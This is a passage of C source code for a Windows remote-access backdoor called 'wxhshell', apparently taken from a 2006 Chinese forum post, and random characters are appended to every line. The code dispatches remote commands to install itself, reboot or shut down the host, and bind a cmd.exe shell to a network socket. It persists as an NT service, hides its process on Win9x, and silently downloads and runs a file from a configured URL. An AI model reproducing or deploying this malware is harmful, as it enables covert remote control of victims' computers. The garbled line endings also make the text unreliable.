  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); edA.Va|0  
  } p*vEVo  
  else { <D=U=5  
}O8$?7j(  
    switch(cmd[0]) { 6tj +  
  q&7J1  
  // 帮助 u>d,6 !  
  case '?': { 8n NRn[oS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W* N^Gp@  
    break; =`u4xa#m  
  } FL- sXg  
  // 安装 ,|}Pof=]xk  
  case 'i': { &_G^=Nc,H  
    if(Install()) O TSbhI'v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .I<#i9Le  
    else I)T]}et  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ub0g{   
    break; *GD?d2.6j  
    } R0 AVAUG  
  // 卸载 {4\(HrGNk  
  case 'r': { .t$~>e .  
    if(Uninstall()) NZCPmst  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Fu.S1j$  
    else O\8_;Gc;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WF`y j%0  
    break;  {|a=  
    } .r$d 8J  
  // 显示 wxhshell 所在路径 &E0P`F,GQA  
  case 'p': { $SA8$!:  
    char svExeFile[MAX_PATH]; {p-&8-  
    strcpy(svExeFile,"\n\r"); ^pIT,|myY7  
      strcat(svExeFile,ExeFile); yMB*/vs  
        send(wsh,svExeFile,strlen(svExeFile),0); kg1z"EE  
    break; ;(5b5PA  
    } ]gx]7  
  // 重启 CM|?;PBuv  
  case 'b': { c/%i,N\5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cba ~  
    if(Boot(REBOOT)) 6O>NDTd%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -lAX-W 0  
    else { h`;w/+/Zr  
    closesocket(wsh); %i 6i.TF  
    ExitThread(0); f+d[Q1  
    } }\?UmuolQ  
    break; EPkmBru ^  
    } <#k(g\/R  
  // 关机 n j0!  
  case 'd': { D% v{[ KY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T5$db-^  
    if(Boot(SHUTDOWN)) ^Q0%_V,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \("|X>00  
    else { C5"=%v[gQv  
    closesocket(wsh); ^`?2g[AA  
    ExitThread(0); 68 vu  
    } _=S 4H  
    break; ?H3Ls~R  
    } D;*P'%_Z  
  // 获取shell L"e8S%UqX  
  case 's': { Po_y7 8ZD  
    CmdShell(wsh); `v) :|Q  
    closesocket(wsh); B~xT:r  
    ExitThread(0); js^+{~  
    break; DPqk~KCM  
  } K8,Q^!5]"  
  // 退出 .ww~'5b0  
  case 'x': { 2<q.LQ}<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 41dB4Td5t  
    CloseIt(wsh); :QGgtTEV""  
    break; tX)l_ ?jVH  
    } R+}7]tva6C  
  // 离开 aGSix}b1P  
  case 'q': { ny'?Hl'Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J'4Pp<  
    closesocket(wsh); KFZ2%:6>  
    WSACleanup(); QmxI ;l  
    exit(1); ->_rSjnM{  
    break; *ETSx{)8  
        } ))ArM-02  
  } ]l/ PyX  
  } ^E-BB 6D  
7\.{O$Q  
  // 提示信息 x)GpNkx:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xw2dNJL  
} /h6K"w=='!  
  } U4s)3jDw  
cCa+UTxaJ  
  return; }3HN $Fwo  
} - ,YoVB!T  
|YEq<wbQ  
// shell模块句柄 xNAX)v3Z  
int CmdShell(SOCKET sock) we?# Dui  
{ ,v\^efc:%  
STARTUPINFO si; |f67aN  
ZeroMemory(&si,sizeof(si)); JO[7_*s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /hF@Xh%hY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FqwH:Fcr:  
PROCESS_INFORMATION ProcessInfo; K)DpC*j  
char cmdline[]="cmd"; J> Z.2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !pT i.3  
  return 0;  VB&` S+-  
} [a201I0 -  
o|`%>&jP  
// 自身启动模式 {wJ8% ;Z7  
int StartFromService(void) z}.Q~4 f0D  
{ .s-V:k5  
typedef struct E! "N}v  
{ C"7-lz  
  DWORD ExitStatus; yX7P5c.   
  DWORD PebBaseAddress; }+] l_!v*  
  DWORD AffinityMask; X5_T?  
  DWORD BasePriority; @y1:=["b  
  ULONG UniqueProcessId; N1!O8"Q|*3  
  ULONG InheritedFromUniqueProcessId; ^K3Bn  
}   PROCESS_BASIC_INFORMATION; -F7P$/9  
$Sls9H+.  
PROCNTQSIP NtQueryInformationProcess; ;]vJ[mi~  
9u0<$UY%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ie"eqO!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4(nwi[1Y  
@h=r;N#/`P  
  HANDLE             hProcess; i U"2uLgb  
  PROCESS_BASIC_INFORMATION pbi; +Hd'*'c  
?Z(xu~^/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fug F k  
  if(NULL == hInst ) return 0; Gg TrIF  
7ILb&JQ!%{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [Fk|%;B/~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2]:Z7Ji  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .(g"(fgF  
]L6[ vJHx  
  if (!NtQueryInformationProcess) return 0; &RB{0Qhx  
&*j# [6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  Q'~3Ik  
  if(!hProcess) return 0; [6cF#_)*  
lY$9-Q(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vX;~m7+  
}Gf9.ACQ  
  CloseHandle(hProcess); 89Ch'D  
ioT+,li  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wGLSei-s  
if(hProcess==NULL) return 0; CbW>yr  
R1?LB"aN  
HMODULE hMod; HRg< f= oz  
char procName[255]; b=PB"-  
unsigned long cbNeeded; 1ir~WFP  
p N+1/m,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y^:N^Gt  
?s]+2Tq  
  CloseHandle(hProcess); PblO?@~O  
;&9wG`  
if(strstr(procName,"services")) return 1; // 以服务启动 wA< Fw )  
BTnrgs#[  
  return 0; // 注册表启动 '*=kt  
} 5H!6m_,w  
E}lNb  
// 主模块 A}W}H;8x  
int StartWxhshell(LPSTR lpCmdLine) 6 K-jje;)  
{ 8~|tl,  
  SOCKET wsl; 'U*Kb  
BOOL val=TRUE; Y]neTX [ef  
  int port=0; g9G 8;  
  struct sockaddr_in door; |R3A$r#-  
M _e^KF  
  if(wscfg.ws_autoins) Install(); !n3J6%b9y/  
FA$1&Fu3Y  
port=atoi(lpCmdLine); (5h+b_eB  
l*-$H$  
if(port<=0) port=wscfg.ws_port; Jty/gjK+  
^kh@AgG^  
  WSADATA data; =z4kK_?F,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9{&oVt~Y$  
`nv82v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w$$vR   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PzH#tG&.j  
  door.sin_family = AF_INET; mvXIh";  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'Ivr =-  
  door.sin_port = htons(port); Yq0jw&v  
Evt&N)l!^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dkAY%ztwo  
closesocket(wsl); _ipY;  
return 1; C^fUhLVSZ^  
} ; %mYsQ  
8m*uT< 5D  
  if(listen(wsl,2) == INVALID_SOCKET) { ->*'Y;t4  
closesocket(wsl); vv^(c w>A  
return 1; 8/T,.<5  
} l'FNp  
  Wxhshell(wsl); M ]uO%2  
  WSACleanup(); I%tJLdL  
:>o2UH  
return 0; !8}x6  
m!sMr^W  
} E3d# T  
Af XlV-v  
// 以NT服务方式启动 (0!U,8zz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L@x#:s=  
{ &pN/+,0E  
DWORD   status = 0; WmTg`[  
  DWORD   specificError = 0xfffffff; fl *>m,  
M D,+>kh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R}0xWPt9G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;Y%.m3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tWa_-Un3  
  serviceStatus.dwWin32ExitCode     = 0; ^k}%k#)  
  serviceStatus.dwServiceSpecificExitCode = 0; {Ax{N  
  serviceStatus.dwCheckPoint       = 0; ;To][J  
  serviceStatus.dwWaitHint       = 0; XHYVcwmDz-  
+&qj`hA-b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y~g*"J5j  
  if (hServiceStatusHandle==0) return; P<MNwdf(+  
dZ{yNh.]  
status = GetLastError(); ,+o*>fD  
  if (status!=NO_ERROR) TW!>~|U)y  
{ woyeKOr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Hmv@7$9s\  
    serviceStatus.dwCheckPoint       = 0; ~]C m  
    serviceStatus.dwWaitHint       = 0; qV7nF }V{  
    serviceStatus.dwWin32ExitCode     = status; X~> 2iL  
    serviceStatus.dwServiceSpecificExitCode = specificError; I7} o>{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %bZ}vJ5b  
    return; m)"wd$O^w  
  } Pj7n_&*/  
RJ~I?{yR0[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]x^v;r~  
  serviceStatus.dwCheckPoint       = 0; MClvmv^  
  serviceStatus.dwWaitHint       = 0; , Vr'F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  HV\l86}  
} u ioBI d  
ctT6va  
// 处理NT服务事件,比如:启动、停止 pHv~^L%=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i5CBLv  
{ m\;@~o'k  
switch(fdwControl) Qv/Kbw N{  
{ ,-.a! a  
case SERVICE_CONTROL_STOP: d'*:2;)g^  
  serviceStatus.dwWin32ExitCode = 0; (f>~+-IL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qb?9i-(  
  serviceStatus.dwCheckPoint   = 0; rBrJTF:.  
  serviceStatus.dwWaitHint     = 0; d,*#yzO  
  { zqs|~W]c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 25 m!Bf  
  } > ?<C+ZHh  
  return; WJF#+)P:Y  
case SERVICE_CONTROL_PAUSE: k+`e0Jago  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .F@0`*#rE~  
  break; CI~ll=9`  
case SERVICE_CONTROL_CONTINUE: WbH#@]+DN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #b5V/)K  
  break; ~E*`+kD  
case SERVICE_CONTROL_INTERROGATE: .E&-gXJ4  
  break; ?h7(,39^>  
}; `&!J6)OJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JsyLWv@6xa  
} BZ"+ ND9m_  
1PnWgu  
// 标准应用程序主函数 mQ qv{1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -1<*mbb0  
{ 6y}|IhX?z  
7<7 /NZ<I  
// 获取操作系统版本 2SlOqH1  
OsIsNt=GetOsVer(); Z0Df~ @  
GetModuleFileName(NULL,ExeFile,MAX_PATH); UCL aCt -  
cr"AK"TQ  
  // 从命令行安装  g1B[RSWv  
  if(strpbrk(lpCmdLine,"iI")) Install(); '/ v@q]!  
V]qv,>  
  // 下载执行文件 K6nGC  
if(wscfg.ws_downexe) { z[bS soK`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J-)9>~[E<  
  WinExec(wscfg.ws_filenam,SW_HIDE); /4lm=ZE/  
} aEwwK(ny  
kCVA~ %d7  
if(!OsIsNt) { yx&'W_Q@  
// 如果时win9x,隐藏进程并且设置为注册表启动 jk-e/C  
HideProc(); CF_pIfbaf  
StartWxhshell(lpCmdLine); 4;.y>~z  
} iQJ[?l`  
else 0tyS=X;#e  
  if(StartFromService()) OD`?BM  
  // 以服务方式启动 v\3}5v%YI  
  StartServiceCtrlDispatcher(DispatchTable); 3r]N\c  
else 60@]^g;$I  
  // 普通方式启动 1Kc[ ).O1  
  StartWxhshell(lpCmdLine); 72;ot`  
rXG?'jN  
return 0; R0_O/o+{  
}
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只看该作者 1 发表于: 2006-10-10
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